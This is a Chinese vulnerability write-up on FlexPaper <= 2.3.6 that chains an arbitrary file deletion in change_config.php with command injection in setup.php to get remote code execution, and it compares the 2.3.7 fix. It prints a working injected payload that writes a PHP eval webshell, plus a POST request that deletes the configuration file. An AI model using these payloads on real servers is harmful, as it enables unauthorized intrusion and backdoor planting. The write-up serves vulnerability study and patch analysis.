FlexPaper <= 2.3.6 (web版) 中存在RCE(远程代码执行),构造恶意的payload执行系统命令。
FlexPaper是一个开源轻量级的在浏览器上显示各种文档的组件,被设计用来与PDF2SWF一起使用, 使在Flex中显示PDF成为可能,而这个过程并无需PDF软件环境的支持。它可以被当做Flex的库来使用----------------------------百度百科
功能原理:
Flexpaper是一个flash播放器,它可以播放一帧一页的flash,文档通过工具(Pdf2swf)把PDF文件生成swf,使用已经编译好的FlexPaper的flash版本实现在线预览播放
phpstudy windows
源码~ 链接:https://pan.baidu.com/s/1C4r96f1zuo2oiv_4igbZEw 提取码:ulhc
在目录 /php 下的 安装文件setup.php 中 ,pdf2swfEnabled函数中存在函数exec(),可执行系统命令,未进行校验,直接执行
而变量 $path_to_pdf2swf 可控,可以由外部传入
漏洞触发,变量 $path_to_pdf2swf (恶意的payload)连接 变量 $pdf2swf_exec,传入pdf2swfEnabled函数中,被执行
本地环境是windows,所以执行
exec('"' . $path_to_pdf2swf . '"' . ' --version 2>&1', $out);
此时变量 $pdf2swf_exec 为 字符串 "pdf2swf.exe"
所以我们构造 payload写入一句话到666.php
* 在windows下 特殊符号在cmd下需要转码 使用 ^ ,linux 一般使用 base64编码
'"'.aaa%26echo %5E%3C%3Fphp%20eval^(^$^_POST^[123^]^); ?^> > 666.php%26bbb%20
当然,这个漏洞到目前为止还是很鸡肋的,漏洞触发点是在安装文件 setup.php中触发,当我们完成安装,部署到网站时,
再次访问setup.php会跳转到index.php中,因此,在配置过程完成后,无法用任意用户输入命中“ exec() ”函数。
漏洞发现者又在目录 /php 下的 change_config.php 中,发现存在任意文件删除漏洞
访问change_config.php时会进行授权检查 检查 SESSION中的"FLEXPAPER_AUTH" ,但是这个检查是发生在删除之后,
所以我们可以实现让任意用户进行 任意文件删除的操作。
脚本会删除在 “ path.swf ” 下配置的目录中的所有文件,但是由于路径等参数可控,我们就可以指定需要删除的文件
payload,指定需要删除的文件目录,删除后,使得我们可以访问setup.php
SAVE_CONFIG=1&
PDF_Directory=D:\\php\\PHPTutorial\\WWW\\FlexPaper\\pdf&
SWF_Directory=config\\&
LICENSEKEY=&SPLITMODE=1&RenderingOrder_PRIM=flash&RenderingOrder_SEC=html
原目录 \php\config 下文件
执行后,config.ini.nix.php文件被删除,跳转到setup.php安装页面
总体思路:通过任意文件删除的漏洞删除指定文件 使得我们可以访问 setup.php 进而执行系统命令getshell
左边是版本banb2.3.6 ,右边是版本2.3.7
setup.php
增加了对变量$path_to_pdf2swf 和变量 $path_to_pdf2json 的判断,进行校验 函数返回绝对路径,错误返回为空
change_config.php
在代码前段增加 验证SESSION会话的语句,存在setup.php 则exit
漏洞成因还是很简单的,没有做什么校验,过滤,但是漏洞挖掘者的思路还是很有想法的,依赖任意删除文件漏洞去过掉setup.php的访问权限,进而使得鸡肋漏洞变成 高危,思路值得学习~
参考链接:
https://redtimmysec.wordpress.com/